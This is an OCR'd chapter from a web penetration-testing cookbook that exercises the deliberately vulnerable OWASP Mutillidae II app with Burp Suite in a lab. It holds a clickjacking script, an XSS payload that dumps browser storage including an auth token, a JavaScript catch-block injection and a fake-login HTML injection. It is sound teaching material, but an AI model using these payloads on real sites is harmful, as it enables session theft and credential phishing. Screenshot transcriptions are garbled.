W ¥ Filter output [ Persist Logs

A The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the index.php

Figure 9.3 — The F12 developer tools Console prompt
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5. Inthe Console prompt (for example, >>), paste the Clickbandit script you copied to your clipboard:

®x¢ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e)
Toggle Security Enforce SSL Reset DB View Log View Captured Data

Not Logged In

Home Login/Register Toggle Hints Show Popup Hints

( Mutillidae: Deliberately Vulnerable Web Pen-Testing Application ]

OWASP 2010 4

—
8 {2 inspector [ Console (O Debugger {) Style Editor (G Performance £k Memory = Network £ Storage <> DOM B e

W ¥ Filter output [Opersist Log

A The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if index.php
the document contains characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in
the transfer protocol.

/* Copyright PortSwigger Ltd. All rights reserved. Usage is subject to the Burp Suite license terms. See https://portswigger.net for more details. */
Ifunction(){
var initialZoomFacter = '1.@', win, doc, width, height, clicks = [];
function addclickTrap(element, minusy) {
var clickTrap = doc.createElement('div'), cords = findPos(element);
clickTrap.style.backgroundColor = 'none';
clickTrap.style.border = 'none’;
clickTrap.style.position = "absolute';
clickTrap.style.left = cords[@] + 'px';
clickTrap.style.top = cords[1] + "px';
clickTrap.style.width = element.offsetWidth + 'px';
clickTrap.style.height = element.offsetHeight + 'px";
if(element.zIndex || element.zIndex === '@') {
clickTrap.style.zIndex = +element.zIndex+1;
}
clickTrap.style.opacity = '8.5";
clickTrap.style.cursor = 'pointer’;
clickTrap.clickTrap = 1;
clickTrap.addeventListener('click', function(e) {
generatePoc({x:e.pageX, y: minusY?e.pageY-minusY : e.page});
e.preventDefault();
e.stopPropagation();
return false;
}, true);
doc.body.appendChild(clickTrap);
}
function addMessage(msg) {
var message = document.createElement('div');

t100%

maceaaa etula width =

Figure 9.4 - Pasted Clickbandit code

6. After pasting the script into the prompt, press the Enter key. You should see Burp Clickbandit’s
Record mode. Click the Start button to begin:

N\
L\(—/J = C @ ® 192.168.56.101/mutillidae/index php?page=home php&popUphic === w i @

%] BUHPCUCKBAND” [OJsandbox iframe? 'Stan-‘ Record mOde

— [ Disable click actions

Figure 9.5 - Starting Clickbandit record mode

7. Start clicking around on the application after it appears. Click available links on the top Mutillidae
menu, click available links on the side menu, or browse to pages within Mutillidae. Once you've
clicked around, press the Finish button on the Burp Clickbandit menu.
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8.

You should notice big red blocks appear transparently on top of the Mutillidae web pages. Each
red block indicates a place where a malicious 1 frame can appear.

=
Hints
Please sign-in J
Username
Password ( )

Dont have an account? Please register here

Figure 9.6 — Framing of victim web page

Feel free to click each red block to see the next red block appear, and so on, until you see the
message You’ve been clickjacked!:

B2 BURPCLICKBANDIT [

Account does not exist

Please sign-in ]

Username ( )

Password L.
m—‘}ou've been clickjacked!

Dont have an account? Please register here

Figure 9.7 - Final confirmation message

To save your results to a file for replay purposes (to give to your client as evidence), click the
Save button. This will save the clickjacking proof of concept (PoC) in an HTML file for you
to place inside your penetration test report.
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< C A Notsecure | 192.168.29.128/mutillidae/index.php?page=login.php&popUpNotificationCode=L... & ¥t “ » F 4 C
cI\ck acked.html

S CCTINOI | - ] rosse sansparency @ CREETE d

|

7
Hints
Figure 9.8 - Saving to a file

10. Click the Reset button to return to the normal application without the Clickbandit code:

®% OWASP Mutillidae II: Web Pwn in Mass Productior

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) NotLogged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Ca

OWASP 2013 4 -

( Login
OWASP 2010 4
OWASP 2007 » % Back g Help Me!

HTML 5 , \ Hints \

Username ( )
»
iy ]

-

Figure 9.9 - After the Reset button is clicked

How it works...

Since the Mutillidae application does not make use of the X - FRAME -OPTIONS header set to DENY,
it is possible to inject a malicious 1 frame instance into the Mutillidae web pages. This is particularly
dangerous on the login page in a phishing attack, luring victims into typing their credentials into an
attacker-controlled page. You can increase the level of opaqueness of the i frame instance used by
Clickbandit for visibility. You can use Clickbandit to create your PoC to illustrate how the vulnerability
can be exploited. Applications can be secured against clickjacking attacks by adding the X-FRAME -
OPTIONS header set to DENY or by adding the Content-Security-Policy frame-ancestors
directive to a whitelisted domain.
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Testing for DOM-based cross-site scripting

The Document Object Model (DOM) is a tree-like structural representation of all HTML web
pages captured in a browser. Developers use the DOM to store information inside the browser for
convenience. As a web penetration tester, it is important to determine the presence of DOM-based
cross-site scripting (XSS) vulnerabilities.

Getting ready

We will use the OWASP Mutillidae I HTML5 web storage exercise to determine whether the application
is susceptible to DOM-based XSS attacks.

How to do it...

1. Navigate to HTML 5 | HTML5 Web Storage | HTML5 Storage:

®% OWASP Mutillidae Il: Web Pwn in

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cr1

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

| HTML § Storag
@ roone
| |

HTML 5 Web Storage » | HTML5 Storage

Figure 9.10 - HTML5 Storage lesson

2. Note the name/value pairs stored in the DOM using the HTML5 Web Storage locations.
Web storage includes Session and Local variables. Developers use these storage locations to
conveniently store information inside a user’s browser:

307



308 Attacking the Client

( HTML 5 Storage
<;§ Back e Help Me!
‘/ ) Hints |
( HTML 5 Web Storage ]
Web Storage
Key " Item “ Storage Type
AuthorizationLevel 0 Session
LocalStorageTarget This is set by the index.php page Local
MessageOfTheDay Go Cats! Local

( ( ®Session OLocal

© Session Storage g Local Storage ¢ All Storage
Figure 9.11 — Web storage entries
3. Switch to the Burp Suite Proxy | Intercept tab. Turn Intercept on with the Intercept is on button:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - sec

Dashboard Target Intruder Repeater Collaborator Sequ
Comparer Logger Organizer Extensions Learn
HTTP history WebSockets history {5} Proxy settings

Forward Drop Intercept is on Action Open browser

Figure 9.12 — Turning Intercept on

4. Reload the HTML 5 Web Storage page in the Firefox browser by pressing F5 or clicking the
reload button.

5. Switch to the Burp Suite Proxy | Intercept tab. Find the paused request created by the reload
you just performed. Note that the User-Agent string is highlighted, as shown in the
following screenshot:
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition_... — [m}

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder @ |
Comparer Logger Organizer Extensions Learn

HTTP history WebSockets history {&} Proxy settings

[ Requestto http://192.168.29.128:

Forward \ Drop Action || Open bro... Comment this item W HIT
Pretty Raw Hex a Wn =
1 GET /mutillidae/index.php?page=htmlS-storage.php HITP/1.1
2 Host: 192.16£8.29.128
3 Cache-Control: max-age=0
4 .

User-Agent: n
Chrome,/114.0.5735.110 Safari/537.36

€ Accept:
text/htnl, application/xhtml+xml,application/xml;g=0.9,inage/avit, image/webp, image/apng, */*;q=0.8, ap
plication/signed-exchange;v=b3;q=0.7

7 Referer: http://l192.168.29.128/mutillidae/index.php?page=login.phpspopUpNotificationCode=L0UL

2 Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

10 Cookie: showhints=1; security level=0; PHPSESSID=viiieab3vvghsnjnenO8rrfrg5; acopendivids=
swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada

11 Connection: close

w

Figure 9.13 — Note the original user-agent value

6. Replace the preceding highlighted User-Agent with the following script. Note the XSS
injection (e.g., alert ()) inside of the payload:

<scriptstry{var m = "";var 1 = window.localStorage;

var s = window.sessionStorage;for(i=0;i<l.length;i++)

{var 1Key = l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++) {var 1lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) + ";\n";};alert (m);}catch(e) {alert (e.
message) ; }</script>
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Here is how the payload looks in the request held up in the Proxy interceptor:

@ O

Dashboard  Target Intruder  Repester  Collaborator T Decoder
Comparer Logger Organizer Extensions Learn

HTTP history WebSockets history {5} Proxy settings

£ Request to http://192.168.29.128;

=
(=T N

11

12

Forward | Drop Intercept i... Action || Open bro... Comment this item W | HTTPA

Pretty Raw Hex a
GET /mutillidae/index.php?page=htmlS5-storage.php HTTP/1.1

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

‘User-Agent: <script>tey{var m = "";var 1 = window.localStorage; var s =

vmdov sessionStorage;for(i=0;i<l.length;i++)(var lKey = l.key(i);m += lKey + "=" + l.getItem(lKey)
HH fDI[l 0:;i<s.length;i++) {var .'I.KEY s. keyu] :m += 1lKey + "=" + s.getItem{lKey) +

1
2 Host: 192.1€B.29.128
3
4

text/htnl ,application/xhtml+xml,application/xml;q=0.9,inage/avit,imnage/webp,image/apng,*/*;q=0.8,ap
plication/signed-exchange ;v=b3;q=0.7

Referer: http://192.1668.29.128/mutillidae/index.php?page=login. phpspopUplotificationCode=LOUL
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=1; security_level=0; PHPSES5ID=vIiieab3vvghsninen08rrfrg5; acopendivids=
swingset,jotto,phpbbZ,redmine; acgroupswithpersist=nada

Connection: close

Figure 9.14 - Changing User-Agent to payload

7.  Click the Forward button. Now, turn Intercept off by clicking the toggle button to Intercept is off.
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8. Note the alert popup showing the contents of the DOM storage:

LocalStorageTarget=This is set by the index php page:;
MessageOfTheDay=Go Cats!;
Secure.CurrentStateofHTML5Storage=Completely Insecure;
Secure.IsUserLoggedin?=No;

Secure. AuthenticationToken=DU837HHFYTEYUE9S1934;
SessionStorageTarget=This is set by the index php page;
AuthorizationLevel=0;

Figure 9.15 - Evidence of XSS payload execution

How it works...

The injected script illustrates how the presence of an XSS vulnerability combined with sensitive
information stored in the DOM can allow an attacker to steal sensitive data. The danger of storing
sensitive data in web storage is that if XSS is possible anywhere within the application, then the
sensitive data may be able to be exfiltrated and sent to an attacker via a malicious JavaScript payload.
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Leveraging DOM Invader for testing DOM XSS

Let’s use PortSwigger’s integrated browser with an add-on called DOM Invader to cover more of the
attack surface on the client, probing for potential DOM XSS and other weaknesses.

Getting ready

We will use the same exercise, HTML5 Storage, and Burp Suite’s DOM Invader to help us determine
whether there are any vulnerable sinks or sources on the web page.

How to do it...

1. Using the Burp Suite browser, click the DOM Invader icon at the top.

@E‘;/L&Da

Figure 9.16 — DOM Invader icon on the Burp Suite browser

2. Select the DOM Invader tab and make sure DOM Invader is on is set. Also, note the canary
value that is assigned. This is randomized and you can customize the value if you like:

Navigation Recorder
Settings @ ﬂ

Main settings A

I @D DOM Invader is on @

@ Postmeszage interception is off

Postmessage origin spoofing is off

Canary injection into intercepted messages is off
Filter messages with duplicate values is off
Generate automated messages is off

Detect cross domain leaks is off

Aftack types N

Misc ~

kiuhgtpi Update canary

Figure 9.17 - DOM Invader menu
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3. Navigate to the HTML 5 Storage page in your Burp Suite browser:

$ 192.168.29.128/mutillidae/inder X +

< C A Notsecure 192.15829.125/mu|i||idae/indexpmﬂpage L % H
®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5¢cript K1dd1e) NotLogged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Dat

( HTML 5 Storage
oo @ oo

Figure 9.18 - HTML 5 Storage page

4. Press F12 in the Burp Suite browser to open the development tools console. Go all the way to
the end of the tabs in the development tools console and select DOM Invader. Note: DOM
Invader is only available in the Burp Suite browser, so if you do not see this tab, you are using
the wrong browser:

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL  Reset DB

( HTML 5 Storage

OWASP 2010

OWASP 2007 @ Back 9 Help Me!

Web Services

[—* Hinte |
i D Elements Console Sources Network Performance Memory Application Security Lighthouse DOM Invader

L] kiuhgtpi Search for Canary Inject URL params Inject forms Copy canary Clear all
U

Messages .
~ Sinks (0)

~ Sources (0)

Figure 9.19 — DOM Invader tab in F12 Developer Tools

5. Using DOM Invader, click the Inject forms button. Note how your canary value is now populated
in all textboxes and button labels:
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e '
e
Key ” Item || Storage Type
@ AuthorizationLevel 0 Session
7 LocalStorageTarget  This is set by the index.php page Local
Pg?g;‘%:ﬁ;;‘;;f MessageOfTheDay Go Cats! Local
[——
|(kiuhgtpit™<> | [kiuhgtpi2"<> ] @ Session O Local
* ] [ |
Release
Announcements o ion Storage ¢ Local Storage All Storage
You
&

ir [0 Elements  Console

Memory Application Security Lighthouse DOM Invader

D
Messages

~ Sinks (0)
v Sources (0)

Figure 9.20 — Canary value used in DOM Invader injection points

6. Now, click the Add New button, which is now displaying the canary value instead of Add New.

It’s the only button on the web page.

Web Storage
Key H Item H Storage Type
AuthorizationLevel 0 Session
LocalStorageTarget  This is set by the index.php page Local
MessageOfTheDay Go Cats! Local
kiuhqtpi1™'<> kiuhqtpi2™'<> Session
(kiuhqtpit <> ] (kiungtpi2"<> ) ® Session O Local

Figure 9.21 — After injection

7. After clicking the button, note you have three findings (sinks) from DOM Invader, shown on

the top icon:

Figure 9.22 - DOM Invader icon with three findings

kiuhgtpis'™ <>




Testing for JavaScript execution 315

These are shown in the Developer Tools console, available by pressing F12 in your Burp Suite
browser (you must use the Burp Suite Browser to see this). Look for the DOM Invader tab:

if [0 Elements Console Sources Network Performance Memory Application Security Lighthouse DOM Invader o1 @ i X
m kiuhgtpi Search for Canary Inject URL params Copy canary Clear all
)

~ Sinks (3)
v element.innerHTML (1)

Value outerHTML Frame path Event Options Stack Trace
Added key m1 "<> to Session storage <span id="idAddltemMessageSpan" top click at Object mPfHn. ..
domxssexecutionpoint="1" title="">
<l/span>

~ sessionStorage setltem.name (1)

Value outerHTML Frame path Event Options Stack Trace
w1 g top click at Object.mPfHn...

~ sessionStorage.setlitem.value (1)

Value outerHTML Frame path Event Options Stack Trace

mz‘"<> top click at Object mPfHn. .

v Sources (0)

Figure 9.23 - DOM Invader findings

The DOM Invader findings give us enough clues to know we need to continue to craft a payload that
will give us JavaScript execution. DOM Invader identified the sink as element . innerHTML (1),
which helps us to know that the potential for exploiting a DOM XSS is very high.

How it works...

The presence of innerHTML on the web page of this recipe is a DOM XSS HTML sink. The innerHTML
attribute receives user input and immediately renders inside the browser. The use of this attribute is
very dangerous and usually avoided by most developers.

There’s more...

PortSwigger provides background information about DOM Invader and its many features here:
https://portswigger.net/burp/documentation/desktop/tools/dom-invader.
We just barely touched on the multitude of scans that DOM Invader can perform in the browser.
Other scan features include postMessage attacks, DOM clobbering, prototype pollution, and more.

Testing for JavaScript execution

JavaScript injection is a subtype of XSS attacks specific to the arbitrary injection of JavaScript. Vulnerabilities
in this area can affect sensitive information held in the browser, such as user session cookies, or it
can lead to the modification of page content, allowing script execution from attacker-controlled sites.


https://portswigger.net/burp/documentation/desktop/tools/dom-invader
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Getting ready

We will the OWASP Mutillidae IT Password Generator exercise to determine whether the application

is susceptible to JavaScript XSS attacks.

How to do it...

1. Navigate to OWASP 2013 | A1 - Injection (Other) | JavaScript Injection | Password Generator:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24

Security Level: 0 (Hosed)

Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)

OWASP 2010 A1l - Injection (Other)
A2 - Broken Authentication and

OWASP 2007 Session Management

Web Services A3 - Cross Site Scripting (XSS)

A4 - Insecure Direct Object
References

Others AS - Security Misconfiguration

Documentation A6 - Sensitive Data Exposure

A7 - Missing Function Level Access

HTML Injection (HTMLI)

HTMLI via HTTP Headers

HTMLI Via DOM Injection

HTMLI Via Cookie Injection

Frame Source Injection

Command Injection

}» Those "Back" Buttons

JavaScript Injection

HTTP Parameter Pollution ¥ Password Generator

Figure 9.24 — Password Generator lesson

2. Note that after clicking the Generate Password button, a password is shown. Also, note
that the username value provided in the URL is reflected in the browser as is on the web
page: http://192.168.56.101/mutillidae/index.php?page=password-
generator.php&username=anonymous. This means a potential XSS vulnerability

may exist on the page:
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| Password Generator )
<% Back g Help Me!
( v Hints J
[ Password Generator ]

Making strong passwords is important.
Click the button below to generate a password.

This password is fo

Password: P6/H%q8x0vQ6qh*

[ Generate Password ]

Figure 9.25 - Generating a new password

3. Switch to the Burp Suite Proxy | HI'TP history tab and find the HT TP message associated with
the Password Generator page. Flip to the Response tab in the message editor and perform a
search on the catch string. Note that the JavaScript returned has a catch block where error
messages display to the user. We will use this position for the placement of a carefully crafted
JavaScript injection attack:

Dashboard Target Intruder Rep Collab Seq er Decoder Comparer Logger {0} Sett

Organizer Extensions __ Learn
Intercept WebSockets history {5 Proxy settings

Filter: Hiding CSS, image and general binary content

# Host Method URL Params  Edited  Statuscode Len

519 hitp://192.168.29.128 l GET /mutillidae/index.php?pag d php& m.] v 200 47495
=
Request
Pretty Raw Hex a n =
1 GET /mutillidae/index.php?page=password-generator.phpsusername=anonymous HTTP/1.1
2 Host: 192.1£8.29.128
3 Upgrade-Insecure-Recuests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebKit/537.3€ (FHTML, like Gecko) Chrome/114.0.5735.110

Safari/S537.36
Accept:
text/html.application/xhtml+xml.apnlication/xml :a=0.9.imade/avif.imade/webn.image/apng.*/*:a=0.8.apnlication/sitmed-exchanae

@@H— || | search... | 0 matches

o

Response
Pretty Raw Hex Render B n =
430 return false;
431
932

catchie) {
933 alert("Error: " + e.mesgsage);
934 4

// end catch
935 }

// end function onSubmitOfGeneratorForm(/*HTMLFormElement*/ theForm)

G936 </script>

Figure 9.26 — Catch block for injection point
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4. Switch to the Burp Suite Proxy | Intercept tab. Turn Intercept on with the Intercept is on button.

5. Reload the Password Generator page in the Firefox browser by pressing F5 or clicking the
reload button.

6.  Switch to the Burp Suite Proxy | Intercept tab. While the request is paused, note the username
parameter value highlighted as follows:

Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.5.3 - second_edition.. — a

Dashboard Target m Intruder Repeater Collaborator Sequencer Decoder S
Comparer Logger Organizer Extensions Learn

HTTP history WebSockets history {S} Proxy settings

Forward | Drop ntercept i... Action Open bro... l Comment this item W  HTIP/
—
n

[

GET /mutillidae/index.php?page=password-generator. phfmusernane:anonynous Il'l'l'l'l'»‘/].. 1
Host: 152.1€8.29.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£d; x€4) AppleWebKit/537.3€ (FKHTML, like Gecko)
Chrome/114.0.5735.110 Safari/537.3€

& Accept:

text/html, application/xhtml+xmnl, application/xml;q=0.9,image/avif, image /webp,inage/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7

Referer: http://192.168.29.128/nutillidas/index.php ?page=html5-storage. php

' Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;qg=0.8

Cookie: showhints=1; security level=0; PHPSESS5ID=viiieab3vvghsnjnen08rrfrgS5; acopendivids=
swingset,jotto,phpbbZ, rednine; acgroupswithpersist=nada

1 Connection: close

[

T

=
(=

Figure 9.27 — Username parameter

7. Replace the preceding highlighted value of anonymous with the following carefully crafted
JavaScript injection script:

canary"; }catch(e) { }alert (1) ;try{a="
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This is how the payload looks in the request held up in the Proxy interceptor:

n Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition... — m]

i i [

Comparer Logger Organizer Extensions Learn

HTTP history ~ WebSockets history {5} Proxy settings

/P Request to http://192.168.29,128:80

Action || Openbro.. | Comment this item | W  HTR/

Forward | | Drop

Pretty Raw Hex B w =

1

2
3
4
5

o™

L= IR

12

GET /mutillidae/index.php?page=password-generator.phpsusernamegcanary”;jcatch(e){}alert(l) try{a=
HITP/1.1

Host: 192.168.29.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.5735.110 Safari/537.36

Accept:

text/htnl,application/xhtml+xml,application/xml;q=0.9,image/avif, image /webp, inage/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7

Referer: http://1582.168.25.128/mutillidae/index.php?page=html5-storage.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.59,en-CA;q=0.8

Cookie: showhints=1; security level=0; PHPSESS5ID=viiieab3vvghsninenO8rrfrg5; acopendivids=
swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada

Connection: close

Figure 9.28 — Injection point

8.  Click the Forward button. Now, turn Intercept off by clicking the toggle button to Intercept is off.

9. Note the alert popup. You've successfully demonstrated the presence of a JavaScript injection
XSS vulnerability!

Figure 9.29 - Evidence of JavaScript execution
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How it works...

The JavaScript snippet injected into the web page matched the structure of the original catch statement.
By creating a fake name of canary and ending the statement with a semicolon, a specially crafted
new catch block was created, which contained the malicious JavaScript payload.

Testing for HTML injection

HTML injection is the insertion of arbitrary HTML code into a vulnerable web page. Vulnerabilities
in this area may lead to the disclosure of sensitive information or the modification of page content
for the purposes of socially engineering the user.

Getting ready

We will use OWASP Mutillidae II’'s Capture Data Page to determine whether the application is
susceptible to HTML injection attacks.

How to do it...

1. Navigate to OWASP 2013 | A1 - Injection (Other) | HTMLi Via Cookie Injection | Capture
Data Page:

®% OWASP Mutillidae 1l: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Script K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)

A1l - Injection (Other) HTML Injection (HTMLI)

OWASP 2010

A2 - Broken Authentication and HTMLI via HTTP Headers
OWASP 2007 Sesslon Management
HTMLI Via DOM Injection
i A3 - Cross Site Scripting (XSS
Web Services e ( ) HTMLI Via Cookie Injection P | Capture Data Page

Figure 9.30 - Capture Data Page lesson
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2. Note how the page looks before the attack:

( Capture Data ]
% Back Q Help Me!

y‘ =
@ View Captured Data

[ Data Capture Page ]

This page is designed to capture any parameters sent and store them in a file and a
database table. It loops through the POST and GET parameters and records them to a file
named captured-data.txt. On this system, the file should be found at /{tmp/captured-
data.txt. The page also tries to store the captured data in a database table named
captured_data and logs the captured data. There is another page named captured-
data.php that attempts to list the contents of this table.

The data captured on this request is: page = capture-data.php showhints = 1
PHPSESSID = 9jsmn17vsn0mfe70ffv3vclkv1 acopendivids =
swingset,jotto,phpbb2,redmine acgroupswithpersist = nada

Would it be possible to hack the hacker? Assume the hacker will view the captured
requests with a web browser.

Figure 9.31 - Data Capture Page

Switch to the Burp Suite Proxy | Intercept tab and turn Intercept on with the Intercept is
on button.
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3. While the request is paused, make a note of the last cookie, acgroupswitchpersist=nada:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition... — O
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder @

Comparer Logger Organizer Extensions Learn
HTTP history WebSockets history '@} Proxy settings

/P Request to http://192.168.29.128:80

Forward | Drop

l Action || Open bro... Comment this item | W HTP
B w

Pretty Raw Hex

GET /mutillidae/index.php?page=capture-data.php HITP/l.1

Host: 1592.1€8.259.128

Cache-Control: max-age=0

Upgrade-Insecure-Requests: L

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4) AppleWebKit/537.3€6 (KHIML, like Gecko)

Chrome/114,0,5735.110 Safari/537.36

Accept:

text/html, application/xhtml+xnl , application/xml;q=0.9,image/avif, image/webp,inage/apng,*/*:q=0.8,a

pplication/signed-exchange ;v=b3;q=0.7

Referer: http://182.168.29. .I.ZB}nur.illidde/.i.ndex.IJh;p?page-passwo:d-qene:ato:.php:usemene-anonynous

& Accept-Encoding: gzip, deflate

% Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

10 Cookie: showhints=1; security_ level=0; PHPSESSID=vZiieab3vvghsnjnen08rrfrgS; acopendivids=
swingset,jotto,phpbbZ, redmine; acgroup:lwil:hper.sia

11 Connection: close

[N

(L]

Figure 9.32 - Turning Intercept on

4. While the request is paused, replace the value of the last cookie with this HTML injection script:

<hl>Sorry, please login again</hl><br/>Username<input
type="text"><br/>Password<input type="text"s><br/><input
type="submit" value="Submit"><hl>&nbsp;</hl>
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This is how the payload looks in the request held up in the Proxy interceptor:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition... — O
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder @

Comparer Logger Organizer Extensions Learn
HTTP history WebSockets history {C} Proxy settings

[P Request to http://192.168.29,128:80

Forward | Drop | HTTR/

A 4
Pretty Raw Hex n =

GET /mutillidae/index.php?page=capture-data.php HTTP/1.1

Host: 192.168.29.128

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/114.0,5735.110 Safari/537.36

€ Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,inage/avif, image /webp, inage/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7

7 Referer: http://192.168.29.128/mutillidae/index.php?page=passvord-generator.phpiusername=anonymous

2 Accept-Encoding: gzip, deflate

g - : = ig= —CA:g=0.8

0 Cookie: showhints=1; security level=0; PHPSESSID=vZiieab3vvghsninenO8rrfrg5; acopendivids=
swingset,jotto,phpbbZ,rednine; acgroupswithpersist=<hl>5orry, please login
again</hl><br/>Username<input type="text"><br/>Password<input type="text"><br/><input
type="submit” wvalue="Submit"><hl>snbsp;</hl>

TT Connection: close

| Action || Openbro.. | Comment this item

(S

[ )

1

13

Figure 9.33 — Changing the value of the cookie to payload

5.  Click the Forward button. Now, turn Intercept oft by clicking the toggle button to Intercept is off.
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6. Note how the HTML is now included inside the page!

| Capture Data
<:§ Back Q Help Me!
\ Hints
@ View Captured Data
[ Data Capture Page ]

This page is designed to capture any parameters sent and store them in a file and a
database table. It loops through the POST and GET parameters and records them to a file
named captured-data.txt. On this system, the file should be found at tmp/captured-
data.txt. The page also tries to store the captured data in a database table named
captured_data and logs the captured data. There is another page named captured-
data.php that attempts to list the contents of this table.

The data captured on this request is: page = capture-data.php showhints =1
PHPSESSID = 9jsmn17vsn0mfe70ffv3vclkv1 acopendivids =
swingset,jotto,phpbb2,redmine acgroupswithpersist =

Sorry, please login again

Username|
Password|

Submit |

Figure 9.34 - Evidence of HTML injection

How it works...

Due to the lack of input validation and output encoding, an HTML injection vulnerability can exist.
The result of exploiting this vulnerability is the insertion of arbitrary HTML code, which can lead to
XSS attacks or social engineering schemes such as the one seen in the preceding recipe.

Testing for client-side resource manipulation

If an application performs actions based on client-side URL information or pathing to a resource (that
is, AJAX call, external JavaScript, or 1 frame source), the result can lead to a client-side resource
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manipulation vulnerability. This vulnerability relates to attacker-controlled URLs in, for example, the
JavaScript locat ion attribute, the location header found in an HT TP response, or a POST body
parameter, which controls redirection. The impact of this vulnerability could lead to an XSS attack.

Getting ready

We will use the OWASP Mutillidae IT application to determine whether it is possible to manipulate
any URL parameters that are exposed on the client side and whether the manipulation of those values
causes the application to behave differently.

How to do it...

1. Navigate to OWASP 2013 | A10 - Unvalidated Redirects and Forwards | Credits:

®% OWASP Mutillidae Il: Web Pwn in M

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

OWASP 2013 A1 - Injection (SQL) » .
A1l - Injection (Other) Credits

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management ' Help Me!

Web Services A3 - Cross Site Scripting (XSS)

A4 - Insecure Direct Object Hints
References

pwnized” Druin. Based on Mutillida
Others A5 - Security Misconfiguration

Documentation A6 - Sensitive Data Exposure

A7 - Missing Function Level Access

Resources Control

AB - Cross Site Request Forgery

(CSRF)

i A9 - Using Components with Known
Getting Started: RULEEIRES
Pr ! t 'tepape Al10 - Unvalidated Redirects and M| Credits

Forwards

Setup/reset the DB (Disabled: Not
i Admin)

Figure 9.35 - Credits page
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2. Click the ISSA Kentuckiana link available on the Credits page:

( Credits ]

Back 9 Help Me!

{ v Hints W

Developed by Jeremy "webpwnized” Druin. Based on Mutillidae 1.0 from Adrian "lrongeek™
Crenshaw.

OWASP

ISSA Kentuckiana
OWASP Louisville
Helpful Firefox Add-Ons

Figure 9.36 — External links

3. Switch to the Burp Suite Proxy | HTTP history tab and find your request to the Credits page.
Note that there are two query string parameters: page and forwardurl. What would happen
if we manipulated the URL where the user is sent?

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition... — O
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder {0}

Comparer Logger Organizer Extensions Learn
Intercept | HTTP history | WebSockets history @Proxysettings

‘ Filter: Hiding CSS, image and general binary content

v Host Method URL Para

526  https://www.issa-kentuckiana..
525  http://192.168.29.128 GET /mutillidae/index.php?page=redirectandlog.php8iforwardurl=http://www. v

O:= =
Request Response

Pretty Raw Hex 8 n v B w =

idae/index.php?page=redirectandlog.phpsforvardurl= 1 H'T'I‘F/l-llZUlJ 0K
http: //www. issa-kentuckiana.org HTTP/1.1 2 Date: Fri, 09 Jun

TI92. 160: 29- 120 2023 14:58:57
3 Upgrade-Insecure-Requests: 1 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4:; x&64) AppleWebKit/537.36 3 Server:
(FHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36 Apache/2.2.14
5 Accept: (Ubuntu)
